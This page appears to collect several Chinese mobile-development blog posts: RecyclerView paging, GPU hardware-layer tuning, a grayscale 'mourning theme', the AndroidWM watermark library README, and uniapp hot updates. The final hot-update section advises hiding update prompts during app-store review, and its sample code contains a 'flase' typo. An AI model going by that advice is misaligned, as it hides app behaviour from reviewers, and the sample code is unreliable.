       holder.setText(R.id.text, item);
  }

   //这里返回布局item id
   @Override
   protected int getItemLayoutId() {
       return R.layout.item_simple;
  }
}

第一步 adapter实现好了,现在需要打开adapter的分页加载功能

public class SingleColumnActivity extends BaseActivity<String> implements IOnLoadMoreListener {


   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activity_single_column);
       RecyclerView rv = findViewById(R.id.rv);
       //实例化adapter
       mAdapter = new SimpleAdapter(null);
       //给adapter 设置loadmoreview
       mAdapter.setLoadMoreView(new CommonLoadMoreView());
       //设置滑动到底部时进行更多加载的回调
       mAdapter.setOnLoadMoreListener(this);
       rv.setAdapter(mAdapter);
       rv.setLayoutManager(new LinearLayoutManager(this));
       request();
  }



   @Override
   public void onLoadMoreRequested() {

       request();
  }

   //这个函数不用管
   @Override
   protected List<String> convertRequestData(List<String> originData) {
       return originData;
  }


}

第二步,RecyclerView也打开了分页加载功能,第三部就是根据接口返回的数据判断到底是 加载失败了、加成成功了还是加载结束(没有更多数据需要加载)

protected void request() {
       NetWorkRequest.request(mAdapter.getDataSize() / PAGE_SIZE + 1, mFailCount, new NetWorkRequest.Callback() {
           @Override
           public void onSuccess(List<String> result) {
               List<T> finalResult = convertRequestData(result);
               if(result.size() >= PAGE_SIZE){// 接口返回了满满一页的数据,这里数据加载成功
                   if (mAdapter.getDataSize() == 0){
                       //当前列表里面没有数据,代表是初次请求,所以这里使用setNewData()

                       mAdapter.setNewData(finalResult);
                  }else {
                       //列表里面已经有数据了,这里使用addDataList(),将数据添加到列表后面
                       mAdapter.addDataList(finalResult);
                  }
                   //这里调用adapter。loadMoreComplete(true) 函数通知列表刷新footview, 这里参数一定要传true
                   mAdapter.loadMoreComplete(true);
              }else {
                   //如果接口返回的数据不足一页,也就代表没有足够的数据了,那么也就没有下一页数据,所以这里
                   //认定分页加载结束
                   //这里的参数也一定要传true
                   mAdapter.loadMoreEnd(true);
              }
          }

           @Override
           public void onFail() {
               mFailCount++;
               //请求失败 通知recyclerview 刷新footview 状态
               mAdapter.loadMoreFail(true);
          }
      });
  }

上面是我写的模拟接口请求,不用在意其他代码,只要关注onSuccess 和onFail 两个回调里面的逻辑。

混合布局的支持

在电商行业经常能看到商品列表中,同一个列表,有的商品占满整整一行,有的一行显示2-3个商品。这种实现方案就是通过GridLayoutManager 的SpanSizeLookup 来控制每个item占几列的。

RecyclerView rv = findViewById(R.id.rv);
       mAdapter = new SimpleAdapter(null);
       mAdapter.setLoadMoreView(new CommonLoadMoreView());
       mAdapter.setOnLoadMoreListener(this);
     //这里我们将列表设置最多两列
       GridLayoutManager layoutManager = new GridLayoutManager(this, 2);
       layoutManager.setSpanSizeLookup(new GridLayoutManager.SpanSizeLookup() {
           @Override
           public int getSpanSize(int position) {
             //根据position 设置每个item应该占几列
             //如果当前的position是3的整数倍 我们就让他占满2列,其他的只占1列
               return position % 3 == 0 ? 2 : 1 ;
          }
      });
       rv.setLayoutManager(layoutManager);
       rv.setAdapter(mAdapter);

RecyclerView多Type支持

如果要使用多type, 在写Adapter的时候要继承PageLoadMultiRecyclerViewAdapter<T, BaseViewHolder>,其中T 是数据源item类型,这个类型必须实现 IMultiItem 接口,并在getItemType()函数中返回当前item对应的type

public class MultiPageLoadAdapter extends PageLoadMultiRecyclerViewAdapter<MultiData, BaseViewHolder> {
   public MultiPageLoadAdapter(List<MultiData> dataList) {
       super(dataList);
       //构造函数里面将 每种type 和 type 对应的布局进行绑定
       addItemLayout(MultiData.TYPE_TEXT, R.layout.item_simple);
       addItemLayout(MultiData.TYPE_IMAGE, R.layout.item_multi_image);
       addItemLayout(MultiData.TYPE_VIDEO, R.layout.item_multi_video);
  }

   @Override
   protected void convert(BaseViewHolder holder, MultiData item) {
       //在convert中针对不同的type 进行不同的bind逻辑
       switch (holder.getItemViewType()){
           case MultiData.TYPE_VIDEO:
               holder.setText(R.id.text, item.content);
               break;

           case MultiData.TYPE_IMAGE:
               holder.setText(R.id.text, item.content);
               break;

           case MultiData.TYPE_TEXT:
               holder.setText(R.id.text, item.content);
           default:
               break;
      }
  }
}

引入方式也和上面两种方式一样

RecyclerView recyclerView = findViewById(R.id.rv);
       mAdapter = new MultiPageLoadAdapter(null);
       mAdapter.setLoadMoreView(new CommonLoadMoreView());
       mAdapter.setOnLoadMoreListener(this);
       recyclerView.setLayoutManager(new LinearLayoutManager(this));
       recyclerView.setAdapter(mAdapter);

作者:maxcion
来源:https://www.jianshu.com/p/aa3054b4d03c

收起阅读 »

如何用 GPU硬件层加速优化Android系统的游戏流畅度

作为一款VR实时操作游戏App,我们需要根据重力感应系统,实时监控手机的角度,并渲染出相应位置的VR图像,因此在不同 Android 设备之间,由于使用的芯片组和不同架构的GPU,游戏性能会因此受到影响。举例来说:游戏在 Galaxy S20+ 上可能以 6...
继续阅读 »

作为一款VR实时操作游戏App,我们需要根据重力感应系统,实时监控手机的角度,并渲染出相应位置的VR图像,因此在不同 Android 设备之间,由于使用的芯片组和不同架构的GPU,游戏性能会因此受到影响。举例来说:游戏在 Galaxy S20+ 上可能以 60fps 的速度渲染,但它在HUAWEI P50 Pro上的表现可能与前者大相径庭。 由于新版本的手机具有良好的配置,而游戏需要考虑基于底层硬件的运行情况。

如果玩家遇到帧速率下降或加载时间变慢,他们很快就会对游戏失去兴趣。
如果游戏耗尽电池电量或设备过热,我们也会流失处于长途旅行中的游戏玩家。
如果提前预渲染不必要的游戏素材,会大大增加游戏的启动时间,导致玩家失去耐心。
如果帧率和手机不能适配,在运行时会由于手机自我保护机制造成闪退,带来极差的游戏体验。

基于此,我们需要对代码进行优化以适配市场上不同手机的不同帧率运行。

所遇到的挑战

首先我们使用Streamline获取在 Android 设备上运行的游戏的配置文件,在运行测试场景时将 CPU 和 GPU性能计数器活动可视化,以准确了解设备处理 CPU 和 GPU 工作负载,从而去定位帧速率下降的主要问题。

以下的帧率分析图表显示了应用程序如何随时间运行。

在下面的图中,我们可以看到执行引擎周期与 FPS 下降之间的相关性。显然GPU 正忙于算术运算,并且着色器可能过于复杂。

为了测试在不同设备中的帧率情况,使用友盟+U-APM测试不同机型上的卡顿状况,发现在onSurfaceCreated函数中进行渲染时出现卡顿, 应证了前文的分析,可以确定GPU是在算数运算过程中发生了卡顿:

因为不同设备有不同的性能预期,所以需要为每个设备设置自己的性能预算。例如,已知设备中 GPU 的最高频率,并且提供目标帧速率,则可以计算每帧 GPU 成本的绝对限制。

数学公式: $ 每帧 GPU 成本 = GPU 最高频率 / 目标帧率 $

CPU 到 GPU 的调度存在一定的约束,由于调度上存在限制所以我们无法达到目标帧率。

另外,由于 CPU-GPU 接口上的工作负载序列化,渲染过程是异步进行的。
CPU 将新的渲染工作放入队列,稍后由 GPU 处理。

数据资源问题

CPU 控制渲染过程并且实时提供最新的数据,例如每一帧的变换和灯光位置。然而,GPU 处理是异步的。这意味着数据资源会被排队的命令引用,并在命令流中停留一段时间。而程序中的OpenGL ES 需要渲染以反映进行绘制调用时资源的状态,因此在引用它们的 GPU 工作负载完成之前无法修改资源。

调试过程

我们曾做出尝试,对引用资源进行代码上的编辑优化,然而当我们尝试修改这部分内容时,会触发该部分的新副本的创建。这将能够一定程度上实现我们的目标,但是会产生大量的 CPU 开销。

于是我们使用Streamline查明高 CPU 负载的实例。在图形驱动程序内部libGLES_Mali.so路径函数, 视图中看到极高的占用时间。

由于我们希望在不同手机上适配不同帧率运行,所以需要查明libGLES_Mali.so是否在不同机型的设备上都产生了极高的占用时间,此处采用了友盟+U-APM来检测用户在不同机型上的函数占用比例。

友盟+ U-APM自定义异常测试,下列机型会产生高libGLES_Mali.so占用的问题,因此我们需要基于底层硬件的运行情况来解决流畅性问题,同时由于存在问题的机型不止一种,我们需要从内存层面着手,考虑如何调用较少的内存缓存区并及时释放内存。

解决方案及优化

基于前文的分析,我们首先尝试从缓冲区入手进行优化。

单缓冲区方案
• 使用glMapBufferRange和GL_MAP_UNSYNCHRONIZED.然后使用单个缓冲区内的子区域构建旋转。这避免了对多个缓冲区的需求,但是这一方案仍然存在一些问题,我们仍需要处理管理子区域依赖项,这一部分的代码给我们带来了额外的工作量。

多缓冲区方案
• 我们尝试在系统中创建多个缓冲区,并以循环方式使用缓冲区。通过计算我们得到了适合的缓冲区的数目,在之后的帧中,代码可以去重新使用这些循环缓冲区。由于我们使用了大量的循环缓冲区,那么大量的日志记录和数据库写入是非常有必要的。但是有几个因素会导致此处的性能不佳:

1. 产生了额外的内存使用和GC压力
2. Android 操作系统实际上是将日志消息写入日志而并非文件,这需要额外的时间。
3. 如果只有一次调用,那么这里的性能消耗微乎其微。但是由于使用了循环缓冲区,所以这里需要用到多次调用。
我们会在基于c#中的 Mono 分析器中启用内存分配跟踪函数用于定位问题:

$ adb shell setprop debug.mono.profile log:calls,alloc

我们可以看到该方法在每次调用时都花费时间:

Method call summary Total(ms) Self(ms) Calls Method name 782 5 100 MyApp.MainActivity:Log (string,object[]) 775 3 100 Android.Util.Log:Debug (string,string,object[]) 634 10 100 Android.Util.Log:Debug (string,string)

在这里定位到我们的日志记录花费了大量时间,我们的下一步方向可能需要改进单个调用,或者寻求全新的解决方案。

log:alloc还让我们看到内存分配;日志调用直接导致了大量的不合理内存分配:

Allocation summary Bytes Count Average Type name 41784 839 49 System.String 4280 144 29 System.Object[]

硬件加速

最后尝试引入硬件加速,获得了一个新的绘图模型来将应用程序渲染到屏幕上。它引入了DisplayList 结构并且记录视图的绘图命令以加快渲染速度。

同时,可以将 View渲染到屏幕外缓冲区并随心所欲地修改它而不用担心被引用的问题。此功能主要适用于动画,非常适合解决我们的帧率问题,可以更快地为复杂的视图设置动画。

如果没有图层,在更改动画属性后,动画视图将使其无效。对于复杂的视图,这种失效会传播到所有的子视图,它们反过来会重绘自己。

在使用由硬件支持的视图层后,GPU 会为视图创建纹理。因此我们可以在我们的屏幕上为复杂的视图设置动画,并且使动画更加流畅。

代码示例:

// Using the Object animator view.setLayerType(View.LAYER_TYPE_HARDWARE, null); ObjectAnimator objectAnimator = ObjectAnimator.ofFloat(view, View.TRANSLATION_X, 20f); objectAnimator.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationEnd(Animator animation) { view.setLayerType(View.LAYER_TYPE_NONE, null); } }); objectAnimator.start(); // Using the Property animator view.animate().translationX(20f).withLayer().start();

另外还有几点在使用硬件层中仍需注意:

(1)在使用之后进行清理:

硬件层会占用GPU上的空间。在上面的 ObjectAnimator代码中,侦听器会在动画结束时移除图层。在 Property animator 示例中,withLayers()方法会在开始时自动创建图层并在动画结束时将其删除。

(2)需要将硬件层更新可视化:

使用开发人员选项,可以启用“显示硬件层更新”。
如果在应用硬件层后更改视图,它将使硬件层无效并将视图重新渲染到该屏幕外缓冲区。

硬件加速优化

但是由此带来了一个问题是,在不需要快速渲染的界面,比如滚动栏, 硬件层也会更快地渲染它们。当将 ViewPager 滚动到两侧时,它的页面在整个滚动阶段会以绿色突出显示。

因此当我滚动ViewPager时,我使用DDMS运行 TraceView
,按名称对方法调用进行排序,搜索“android/view/View.setLayerType”,然后跟踪它的引用:

ViewPager#enableLayers(): private void enableLayers(boolean enable) { final int childCount = getChildCount(); for (int i = 0; i < childCount; i++) { final int layerType = enable ? ViewCompat.LAYER_TYPE_HARDWARE : ViewCompat.LAYER_TYPE_NONE; ViewCompat.setLayerType(getChildAt(i), layerType, null); } }

该方法负责为 ViewPager的孩子启用/禁用硬件层。它从 ViewPaper#setScrollState() 调用一次:

private void setScrollState(int newState) { if (mScrollState == newState) { return; } mScrollState = newState; if (mPageTransformer != null) { enableLayers(newState != SCROLL_STATE_IDLE); } if (mOnPageChangeListener != null) { mOnPageChangeListener.onPageScrollStateChanged(newState); } }

正如代码中所示,当滚动状态为IDLE时硬件被禁用,否则在DRAGGINGSETTLING时启用。PageTransformer 旨在“使用动画属性将自定义转换应用于页面视图”(Source)。

基于我们的需求,只在渲染动画的时候启用硬件层,所以我想覆盖ViewPager 方法,但由于它们是私有的,我们无法修改这个方法。

所以我采取了另外的解决方案:在 ViewPage#setScrollState() 上,在调用 enableLayers()之后,我们还会调用

OnPageChangeListener#onPageScrollStateChanged()

。所以我设置了一个监听器,当 ViewPager的滚动状态不同于 IDLE时,它将所有ViewPager的孩子的图层类型重置为 NONE

@Override public void onPageScrollStateChanged(int scrollState) { // A small hack to remove the HW layer that the viewpager add to each page when scrolling. if (scrollState != ViewPager.SCROLL_STATE_IDLE) { final int childCount = <your_viewpager>.getChildCount(); for (int i = 0; i < childCount; i++) <your_viewpager>.getChildAt(i).setLayerType(View.LAYER_TYPE_NONE, null); } }

这样,在ViewPager#setScrollState()为页面设置了一个硬件层之后——我将它们重新设置为NONE,这将禁用硬件层,因此而导致的帧率区别主要显示在Nexus上。

作者:六一
来源:https://segmentfault.com/a/1190000040864118

收起阅读 »

又到公祭日,App快速实现“哀悼主题”方案

今天是南京大屠杀死难者国家公祭日,很多APP已经变成哀悼主题,怎么实现的呢?看看这个Android方案! 4月4日,今天是国家,为了纪念和哀悼为新冠疫情做出努力和牺牲的烈士以及在新冠中逝去的同胞“举行全国哀悼”的日子! 今天10时全国停止一切娱乐活动,并默...
继续阅读 »


今天是南京大屠杀死难者国家公祭日,很多APP已经变成哀悼主题,怎么实现的呢?看看这个Android方案!

原标题:App快速实现“哀悼主题”方案

4月4日,今天是国家,为了纪念和哀悼为新冠疫情做出努力和牺牲的烈士以及在新冠中逝去的同胞“举行全国哀悼”的日子!
今天10时全国停止一切娱乐活动,并默哀3分钟!至此,各大app(爱奇艺、腾讯、虎牙...)响应号召,统一将app主题更换至“哀悼色”...,本篇文章简谈Android端的一种实现方案。

系统api:saveLayer

saveLayer可以为canvas创建一个新的透明图层,在新的图层上绘制,并不会直接绘制到屏幕上,而会在restore之后,绘制到上一个图层或者屏幕上(如果没有上一个图层)。为什么会需要一个新的图层,例如在处理xfermode的时候,原canvas上的图(包括背景)会影响src和dst的合成,这个时候,使用一个新的透明图层是一个很好的选择

public int saveLayer(@Nullable RectF bounds, @Nullable Paint paint, @Saveflags int saveFlags) {
       if (bounds == null) {
           bounds = new RectF(getClipBounds());
      }
       checkValidSaveFlags(saveFlags);
       return saveLayer(bounds.left, bounds.top, bounds.right, bounds.bottom, paint,
               ALL_SAVE_FLAG);
  }

public int saveLayer(@Nullable RectF bounds, @Nullable Paint paint) {
       return saveLayer(bounds, paint, ALL_SAVE_FLAG);
  }

ColorMatrix中setSaturation设置饱和度,给布局去色(0为灰色,1为原图)

/**
    * Set the matrix to affect the saturation of colors.
    *
    * @param sat A value of 0 maps the color to gray-scale. 1 is identity.
    */
   public void setSaturation(float sat) {
       reset();
       float[] m = mArray;

       final float invSat = 1 - sat;
       final float R = 0.213f * invSat;
       final float G = 0.715f * invSat;
       final float B = 0.072f * invSat;

       m[0] = R + sat; m[1] = G;       m[2] = B;
       m[5] = R;       m[6] = G + sat; m[7] = B;
       m[10] = R;      m[11] = G;      m[12] = B + sat;
  }

1.在view上的实践

自定义MourningImageVIew

public class MourningImageView extends AppCompatImageView {
   private Paint mPaint;
   public MourningImageView(Context context) {
       this(context,null);
  }
   public MourningImageView(Context context, @Nullable AttributeSet attrs) {
       this(context, attrs,0);
  }
   public MourningImageView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
       super(context, attrs, defStyleAttr);
       createPaint();
  }
   private void createPaint(){
       if(mPaint == null) {
           mPaint = new Paint();
           ColorMatrix cm = new ColorMatrix();
           cm.setSaturation(0);
           mPaint.setColorFilter(new ColorMatrixColorFilter(cm));
      }
  }
   @Override
   public void draw(Canvas canvas) {
       createPaint();
       canvas.saveLayer(null, mPaint, Canvas.ALL_SAVE_FLAG);
       super.draw(canvas);
       canvas.restore();
  }
   @Override
   protected void dispatchDraw(Canvas canvas) {
       createPaint();
       canvas.saveLayer(null, mPaint, Canvas.ALL_SAVE_FLAG);
       super.dispatchDraw(canvas);
       canvas.restore();
  }
}

和普通的ImageView对比效果:

举一反三在其他的view上也是可以生效的,实际线上项目不可能去替换所有view,接下来我们在根布局上做文章。

自定义各种MourningViewGroup实际替换效果:

xml version="1.0" encoding="utf-8"?>
<com.example.sample.MourningLinearlayout xmlns:android="http://schemas.android.com/apk/res/android"
   xmlns:app="http://schemas.android.com/apk/res-auto"
   xmlns:tools="http://schemas.android.com/tools"
   android:layout_width="match_parent"
   android:layout_height="match_parent"
   tools:context=".MainActivity"
   android:orientation="vertical"
   >

   <ImageView
       android:layout_width="wrap_content"
       android:src="@mipmap/ic_launcher"
       android:layout_margin="20dp"
       android:layout_height="wrap_content"/>

   <com.example.sample.MourningImageView
       android:layout_width="wrap_content"
       android:src="@mipmap/ic_launcher"
       android:layout_margin="20dp"
       android:layout_height="wrap_content"/>
com.example.sample.MourningLinearlayout>

也是可以生效的,那接下来的问题就是如何用最少的代码替换所有的页面根布局的问题了。在Activity创建的时候同时会创建一个 Window,其中包含一个 DecoView,在我们Activity中调用setContentView(),其实就是把它添加到decoView中,可以统一拦截decoview并对其做文章,降低入侵同时减少代码量。

2.Hook Window DecoView

application中注册ActivityLifecycleCallbacks,创建hook点

public class MineApplication extends Application {

   @Override
   protected void attachBaseContext(Context base) {
       super.attachBaseContext(base);
       registerActivityLifecycleCallbacks(new ActivityLifecycleCallbacks() {
           @Override
           public void onActivityCreated(@NonNull Activity activity, @Nullable Bundle savedInstanceState) {
              //获取decoview
               ViewGroup decorView = (ViewGroup) activity.getWindow().getDecorView();
               if(decorView!= null && decorView.getChildCount() > 0) {
                   //获取设置的contentview
                   View child = decorView.getChildAt(0);
                   //从decoview中移除contentview
                   decorView.removeView(child);
                   //创建哀悼主题布局
                   MourningFramlayout mourningFramlayout = new MourningFramlayout(activity);
                   //将contentview添加到哀悼布局中
                   mourningFramlayout.addView(child);
                   //将哀悼布局添加到decoview中
                   decorView.addView(mourningFramlayout);
              }
...
}

找个之前做的项目试试效果:

效果还行,暂时没发现什么坑,但是可能存在坑....😄😄😄

作者:code_balance
来源:https://www.jianshu.com/p/abdebc2c508e


收起阅读 »

轻量级安卓水印框架,支持隐形数字水印 AndroidWM

一个轻量级的 Android 图片水印框架,支持隐形水印和加密水印。 English version下载与安装Maven:<dependency>  <groupId>com.huangyz0918groupId> &n...
继续阅读 »



AndroidWM

一个轻量级的 Android 图片水印框架,支持隐形水印和加密水印。 English version

img

下载与安装

Gradle:

implementation 'com.huangyz0918:androidwm:0.1.9'

Maven:

<dependency>
 <groupId>com.huangyz0918groupId>
 <artifactId>androidwmartifactId>
 <version>0.1.9version>
 <type>pomtype>
dependency>

Lvy:

<dependency org='com.huangyz0918' name='androidwm' rev='0.1.9'>
 <artifact name='androidwm' ext='pom' >artifact>
dependency>

快速入门

新建一个水印图片

在下载并且配置好 androidwm 之后,你可以创建一个 WatermarkImage 或者是 WatermarkText 的实例,并且使用内置的诸多Set方法为创建一个水印做好准备。

    WatermarkText watermarkText = new WatermarkText(editText)
          .setPositionX(0.5)
          .setPositionY(0.5)
          .setTextColor(Color.WHITE)
          .setTextFont(R.font.champagne)
          .setTextShadow(0.1f, 5, 5, Color.BLUE)
          .setTextAlpha(150)
          .setRotation(30)
          .setTextSize(20);

对于具体定制一个文字水印或者是图片水印, 我们在接下来的文档中会仔细介绍。

当你的水印(文字或图片水印)已经准备就绪的时候,你需要一个 WatermarkBuilder来把水印画到你希望的背景图片上。 你可以通过 create 方法获取一个 WatermarkBuilder 的实例,注意,在创建这个实例的时候你需要先传入一个 Bitmap 或者是一个 Drawable 的资源 id 来获取背景图。

    WatermarkBuilder
          .create(context, backgroundBitmap)
          .loadWatermarkText(watermarkText) // use .loadWatermarkImage(watermarkImage) to load an image.
          .getWatermark()
          .setToImageView(imageView);

选择绘制模式

你可以在 WatermarkBuilder.setTileMode() 中选择是否使用铺满整图模式,默认情况下我们只会添加一个水印。

    WatermarkBuilder
          .create(this, backgroundBitmap)
          .loadWatermarkText(watermarkText)
          .setTileMode(true) // select different drawing mode.
          .getWatermark()
          .setToImageView(backgroundView);

咚! 带水印的图片已经绘制好啦:

img

获取输出图片

你可以在 WatermarkBuilder 中同时加载文字水印和图片水印。 如果你想在绘制完成之后获得带水印的结果图片,可以使用 Watermark.getOutputImage() 方法:

    Bitmap bitmap = WatermarkBuilder
          .create(this, backgroundBitmap)
          .getWatermark()
          .getOutputImage();

创建多个水印

你还可以一次性添加多个水印图片,通过创建一个WatermarkText 的列表 List<> 并且在水印构建器的方法 .loadWatermarkTexts(watermarkTexts)中把列表传入进去(图片类型水印同理):

    WatermarkBuilder
          .create(this, backgroundBitmap)
          .loadWatermarkTexts(watermarkTexts)
          .loadWatermarkImages(watermarkImages)
          .getWatermark();

加载资源

你还可以从系统的控件和资源中装载图片或者是文字资源,从而创建一个水印对象:

WatermarkText watermarkText = new WatermarkText(editText); // for a text from EditText.
WatermarkText watermarkText = new WatermarkText(textView); // for a text from TextView.
WatermarkImage watermarkImage = new WatermarkImage(imageView); // for an image from ImageView.
WatermarkImage watermarkImage = new WatermarkImage(this, R.drawable.image); // for an image from Resource.

WatermarkBuilder里面的背景图片同样可以从系统资源或者是 ImageView 中装载:

    WatermarkBuilder
          .create(this, backgroundImageView) // .create(this, R.drawable.background)
          .getWatermark()

如果在水印构建器中你既没有加载文字水印也没有加载图片水印,那么处理过后的图片将保持原样,毕竟你啥也没干 :)

隐形水印 (测试版)

androidwm 支持两种模式的隐形水印:

  • 空域 LSB 水印

  • 频域叠加水印

你可以通过WatermarkBuilder 直接构造一个隐形水印,为了选择不同的隐形方式,可以使用布尔参数 isLSB 来区分它们 (注:频域水印扔在开发中),而想要获取到构建成功的水印图片,你需要添加一个监听器:

     WatermarkBuilder
          .create(this, backgroundBitmap)
          .loadWatermarkImage(watermarkBitmap)
          .setInvisibleWMListener(true, 512, new BuildFinishListener<Bitmap>() {
               @Override
               public void onSuccess(Bitmap object) {
                   if (object != null) {
                      // do something...
                  }
              }

               @Override
               public void onFailure(String message) {
                  // do something...
              }
          });

setInvisibleWMListener 方法的第二个参数是一个整数,表示输入图片最大尺寸,有的时候,你输入的可能是一个巨大的图片,为了使计算算法更加快速,你可以选择在构建图片之前是否对图片进行缩放,如果你让这个参数为空,那么图片将以原图形式进行添加水印操作。无论如何,注意一定要保持背景图片的大小足以放得下水印图片中的信息,否则会抛出异常。

同理,检测隐形水印可以使用类WatermarkDetector,通过一个create方法获取到实例,同时传进去一张加过水印的图片,第一个布尔参数代表着水印的种类,true 代表着检测文字水印,反之则检测图形水印。

     WatermarkDetector
          .create(inputBitmap, true)
          .detect(false, new DetectFinishListener() {
               @Override
               public void onImage(Bitmap watermark) {
                   if (watermark != null) {
                        // do something...
                  }
              }

               @Override
               public void onText(String watermark) {
                   if (watermark != null) {
                       // do something...
                  }
              }

               @Override
               public void onFailure(String message) {
                      // do something...
              }
          });

LSB 隐形空域水印 Demo 动态图:

imgimg
隐形文字水印 (LSB)隐形图像水印 (LSB)

好啦!请尽情使用吧 😘

使用说明

水印位置

我们使用 WatermarkPosition 这个类的对象来控制具体水印出现的位置。

   WatermarkPosition watermarkPosition = new WatermarkPosition(double position_x, double position_y, double rotation);
  WatermarkPosition watermarkPosition = new WatermarkPosition(double position_x, double position_y);

在函数构造器中,我们可以设定水印图片的横纵坐标,如果你想在构造器中初始化一个水印旋转角度也是可以的, 水印的坐标系以背景图片的左上角为原点,横轴向右,纵轴向下。

WatermarkPosition 同时也支持动态调整水印的位置,这样你就不需要一次又一次地初始化新的位置对象了, androidwm 提供了一些方法:

     watermarkPosition
            .setPositionX(x)
            .setPositionY(y)
            .setRotation(rotation);

在全覆盖水印模式(Tile mode)下,关于水印位置的参数将会失效。

imgimg
x = y = 0, rotation = 15x = y = 0.5, rotation = -15

横纵坐标都是一个从 0 到 1 的浮点数,代表着和背景图片的相对比例。

字体水印的颜色

你可以在 WatermarkText 中设置字体水印的颜色或者是其背景颜色:

    WatermarkText watermarkText = new WatermarkText(editText)
          .setPositionX(0.5)
          .setPositionY(0.5)
          .setTextSize(30)
          .setTextAlpha(200)
          .setTextColor(Color.GREEN)
          .setBackgroundColor(Color.WHITE); // 默认背景颜色是透明的
imgimg
color = green, background color = whitecolor = green, background color = default

字体颜色的阴影和字体

你可以从软件资源中加载一种字体,也可以通过方法 setTextShadow 设置字体的阴影。

    WatermarkText watermarkText = new WatermarkText(editText)
          .setPositionX(0.5)
          .setPositionY(0.5)
          .setTextSize(40)
          .setTextAlpha(200)
          .setTextColor(Color.GREEN)
          .setTextFont(R.font.champagne)
          .setTextShadow(0.1f, 5, 5, Color.BLUE);
imgimg
font = champagneshadow = (0.1f, 5, 5, BLUE)

阴影的四个参数分别为: (blur radius, x offset, y offset, color).

字体大小和图片大小

水印字体和水印图片大小的单位是不同的:
- 字体大小和系统布局中字体大小是类似的,取决于屏幕的分辨率和背景图片的像素,您可能需要动态调整。
- 图片大小是一个从 0 到 1 的浮点数,是水印图片的宽度占背景图片宽度的比例。

imgimg
image size = 0.3text size = 40

方法列表

对于 WatermarkTextWatermarkImage 的定制化,我们提供了一些常用的方法:

方法名称备注默认值
setPosition水印的位置类 WatermarkPositionnull
setPositionX水印的横轴坐标,从背景图片左上角为(0,0)0
setPositionY水印的纵轴坐标,从背景图片左上角为(0,0)0
setRotation水印的旋转角度0
setTextColor (WatermarkText)WatermarkText 的文字颜色Color.BLACK
setTextStyle (WatermarkText)WatermarkText 的文字样式Paint.Style.FILL
setBackgroundColor (WatermarkText)WatermarkText 的背景颜色null
setTextAlpha (WatermarkText)WatermarkText 文字的透明度, 从 0 到 25550
setImageAlpha (WatermarkImage)WatermarkImage 图片的透明度, 从 0 到 25550
setTextSize (WatermarkText)WatermarkText 字体的大小,单位与系统 layout 相同20
setSize (WatermarkImage)WatermarkImage 水印图片的大小,从 0 到 1 (背景图片大小的比例)0.2
setTextFont (WatermarkText)WatermarkText 的字体default
setTextShadow (WatermarkText)WatermarkText 字体的阴影与圆角(0, 0, 0)
setImageDrawable (WatermarkImage)WatermarkImage的图片资源null

WatermarkImage 的一些基本属性和WatermarkText 的相同。

项目地址:https://github.com/huangyz0918/AndroidWM

作者:huangyz0918
来源:https://www.wanandroid.com/blog/show/2346

收起阅读 »

uniapp热更新

热更新主要是针对app上线之后页面出现bug,修改之后又得打包,上线,每次用户都得在应用市场去下载很影响用户体验,如果用户不愿意更新,一直提示都不愿意更新,这个bug就会一直存在。 可能你一不小心写错了代码,整个团队的努力都会付之东流,苦不苦,冤不冤,想想都苦...
继续阅读 »



为什么要热更新

热更新主要是针对app上线之后页面出现bug,修改之后又得打包,上线,每次用户都得在应用市场去下载很影响用户体验,如果用户不愿意更新,一直提示都不愿意更新,这个bug就会一直存在。 可能你一不小心写错了代码,整个团队的努力都会付之东流,苦不苦,冤不冤,想想都苦,所以这个时候热更新就显得很重要了。

首先你需要在manifest.json 中修改版本号

如果之前是1.0.0那么修改之后比如是1.0.1或者1.1.0这样

然后你需要在HBuilderX中打一个wgt包

在顶部>发行>原生App-制作移动App资源升级包

包的位置会在控制台里面输出

你需要和后端约定一下接口,传递参数

然后你就可以在app.vue的onLaunch里面编写热更新的代码了,如果你有其他需求,你可以在其他页面的onLoad里面编写。

// #ifdef APP-PLUS  //APP上面才会执行
plus.runtime.getProperty(plus.runtime.appid,
function(widgetInfo) {
uni.request({
url: '请求url写你自己的',
method: "POST",
data: {
version: widgetInfo.version,
//app版本号
name: widgetInfo.name //app名称
},
success: (result) = >{
console.log(result) //请求成功的数据
var data = result.data.data
if (data.update && data.wgtUrl) {
var uploadTask = uni.downloadFile({ //下载
url: data.wgtUrl,
//后端传的wgt文件
success: (downloadResult) = >{ //下载成功执行
if (downloadResult.statusCode === 200) {
plus.runtime.install(downloadResult.tempFilePath, {
force: flase
},
function() {
plus.runtime.restart();
},
function(e) {});
}
},
}) uploadTask.onProgressUpdate((res) = >{
// 测试条件,取消上传任务。
if (res.progress == 100) { //res.progress 上传进度
uploadTask.abort();
}
});
}
}
});
});
// #endif

不支持的情况

  • SDK 部分有调整,比如新增了 Maps 模块等,不可通过此方式升级,必须通过整包的方式升级。

  • 原生插件的增改,同样不能使用此方式。
    对于老的非自定义组件编译模式,这种模式已经被淘汰下线。但以防万一也需要说明下,老的非自定义组件编译模式,如果之前工程没有 nvue 文件,但更新中新增了 nvue 文件,不能使用此方式。因为非自定义组件编译模式如果没有nvue文件是不会打包weex引擎进去的,原生引擎无法动态添加。自定义组件模式默认就含着weex引擎,不管工程下有没有nvue文件。

注意事项

  • 条件编译,仅在 App 平台执行此升级逻辑。

  • appid 以及版本信息等,在 HBuilderX 真机运行开发期间,均为 HBuilder 这个应用的信息,因此需要打包自定义基座或正式包测试升级功能。

  • plus.runtime.version 或者 uni.getSystemInfo() 读取到的是 apk/ipa 包的版本号,而非 manifest.json 资源中的版本信息,所以这里用 plus.runtime.getProperty() 来获取相关信息。

  • 安装 wgt 资源包成功后,必须执行 plus.runtime.restart(),否则新的内容并不会生效。

  • 如果App的原生引擎不升级,只升级wgt包时需要注意测试wgt资源和原生基座的兼容性。平台默认会对不匹配的版本进行提醒,如果自测没问题,可以在manifest中配置忽略提示,详见ask.dcloud.net.cn/article/356…

  • http://www.example.com 是一个仅用做示例说明的地址,实际应用中应该是真实的 IP 或有效域名,请勿直接复制粘贴使用。

关于热更新是否影响应用上架

应用市场为了防止开发者不经市场审核许可,给用户提供违法内容,对热更新大多持排斥态度。

但实际上热更新使用非常普遍,不管是原生开发中还是跨平台开发。

Apple曾经禁止过jspatch,但没有打击其他的热更新方案,包括cordovar、react native、DCloud。封杀jspatch其实是因为jspatch有严重安全漏洞,可以被黑客利用,造成三方黑客可篡改其他App的数据。

使用热更新需要注意:

  • 上架审核期间不要弹出热更新提示

